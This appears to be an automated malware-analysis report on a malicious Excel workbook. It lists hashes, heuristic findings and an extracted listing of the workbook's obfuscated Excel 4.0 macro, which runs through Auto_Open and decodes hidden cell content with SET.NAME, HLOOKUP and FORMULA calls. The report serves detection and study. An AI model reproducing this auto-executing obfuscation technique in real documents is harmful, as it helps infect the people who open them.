Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57bb588259e6b632…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:25 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: eed21420dde6bcaa0257fa6f595b19c5 SHA-1: 788063051a94e7d34c561cb75b293d246c7afd05 SHA-256: 57bb588259e6b63243a4135a145fb62365cd35022dc245f03f1fc651235cda57
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6668 bytes
SHA-256: caafb24cce0917f18732614bea3be92d18ed72923d83c25694e5c10f542bb3bd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  HZxOHTpXyEj
' 0018     26 LABEL : Cell Value, String Constant - AfaaoIyWTGd len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G153 
' 0018     23 LABEL : Cell Value, String Constant - dkGSTqpS len=0 
' 0018     23 LABEL : Cell Value, String Constant - gKcrqTpw len=0 
' 0018     27 LABEL : Cell Value, String Constant - hOQTiLDPqQmV len=0 
' 0018     26 LABEL : Cell Value, String Constant - jFxDHnNcjDu len=0 
' 0018     22 LABEL : Cell Value, String Constant - KYfCRhD len=0 
' 0018     27 LABEL : Cell Value, String Constant - MrlOlcPsonGV len=0 
' 0018     26 LABEL : Cell Value, String Constant - PFvWQzRAzkg len=0 
' 0018     21 LABEL : Cell Value, String Constant - RMzSgL len=0 
' 0018     21 LABEL : Cell Value, String Constant - sJPJtX len=0 
' 0018     24 LABEL : Cell Value, String Constant - SoCEWIrMa len=0 
' 0018     27 LABEL : Cell Value, String Constant - sThZcQhFLlYr len=0 
' 0018     26 LABEL : Cell Value, String Constant - UognpUkkYtD len=0 
' 0018     22 LABEL : Cell Value, String Constant - wCsMwGM len=0 
' 0018     25 LABEL : Cell Value, String Constant - WGFmsYweaU len=0 
' 0018     23 LABEL : Cell Value, String Constant - WOOHQvli len=0 
' 0018     27 LABEL : Cell Value, String Constant - xcstrWhAdcGZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - xIArrvaw len=0 
' 0018     21 LABEL : Cell Value, String Constant - xvZErV len=0 
' 0018     20 LABEL : Cell Value, String Constant - yLicU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  HZxOHTpXyEj,G64,"SET.NAME("KYfCRhD",VALUE("0"))",""
'  HZxOHTpXyEj,G69,"SET.NAME("WGFmsYweaU",KYfCRhD)",""
'  HZxOHTpXyEj,G72,"SET.NAME("UognpUkkYtD",KYfCRhD)",""
'  HZxOHTpXyEj,G76,"SET.NAME("SoCEWIrMa",COUNTA(gKcrqTpw))",""
'  HZxOHTpXyEj,G80,"SET.NAME("xcstrWhAdcGZ",COUNTA(jFxDHnNcjDu))",""
'  HZxOHTpXyEj,G83,[],""
'  HZxOHTpXyEj,G85,"SET.NAME("MrlOlcPsonGV","")",""
'  HZxOHTpXyEj,G88,"WGFmsYweaU",""
'  HZxOHTpXyEj,G90,"SET.NAME("sThZcQhFLlYr",HLOOKUP("*",gKcrqTpw,WGFmsYweaU,FALSE))",""
'  HZxOHTpXyEj,G95,"WOOHQvli",""
'  HZxOHTpXyEj,G98,"SET.NAME("xvZErV",KYfCRhD)",""
'  HZxOHTpXyEj,G100,[],""
'  HZxOHTpXyEj,G103,"xvZErV",""
'  HZxOHTpXyEj,G105,"xIArrvaw",""
'  HZxOHTpXyEj,G107,"wCsMwGM",""
'  HZxOHTpXyEj,G110,"dkGSTqpS",""
'  HZxOHTpXyEj,G112,"SET.NAME("sJPJtX",VALUE(HLOOKUP("*",jFxDHnNcjDu,dkGSTqpS,FALSE)))",""
'  HZxOHTpXyEj,G116,"PFvWQzRAzkg",""
'  HZxOHTpXyEj,G121,"MrlOlcPsonGV",""
'  HZxOHTpXyEj,G126,"UognpUkkYtD",""
'  HZxOHTpXyEj,G130,NEXT(),""
'  HZxOHTpXyEj,G133,"AfaaoIyWTGd",""
'  HZxOHTpXyEj,G138,"SET.NAME("f",INT(T(FORMULA(T(MrlOlcPsonGV)&"",""&T(AfaaoIyWTGd)))))",""
'  HZxOHTpXyEj,G141,"yLicU",""
'  HZxOHTpXyEj,G146,NEXT(),""
'  HZxOHTpXyEj,G148,RETURN(),""
'  HZxOHTpXyEj,G176,"SET.NAME("RMzSgL",G64)",""
'  HZxOHTpXyEj,G179,"gKcrqTpw",""
'  HZxOHTpXyEj,G182,"SET.NAME("jFxDHnNcjDu",R82C11)",""
'  HZxOHTpXyEj,G185,"SET.NAME("yLicU",193)",""
'  HZxOHTpXyEj,G188,"SET.NAME("hOQTiLDPqQmV",7)",""
'  HZxOHTpXyEj,G192,RMzSgL(),""
'  HZxOHTpXyEj,G193,HALT(),""

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